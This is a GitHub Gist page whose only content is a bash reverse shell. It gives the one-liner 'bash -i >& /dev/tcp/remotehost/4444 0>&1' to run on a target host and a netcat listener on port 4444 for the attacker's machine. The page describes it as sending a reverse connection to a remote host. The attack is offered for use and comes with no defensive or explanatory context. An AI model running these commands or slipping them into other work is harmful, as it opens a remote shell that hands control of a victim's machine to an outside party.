Created
December 19, 2019 04:49
-
-
Save pishchalnikov/6dbe07f9e7e19b4f862e9987093814e3 to your computer and use it in GitHub Desktop.
A little bash revers shell which will send a revers nc connection to remote host by port
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# On target host | |
$ bash -i >& /dev/tcp/remotehost/4444 0>&1 | |
# On local host | |
$ nc -lvp 4444 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment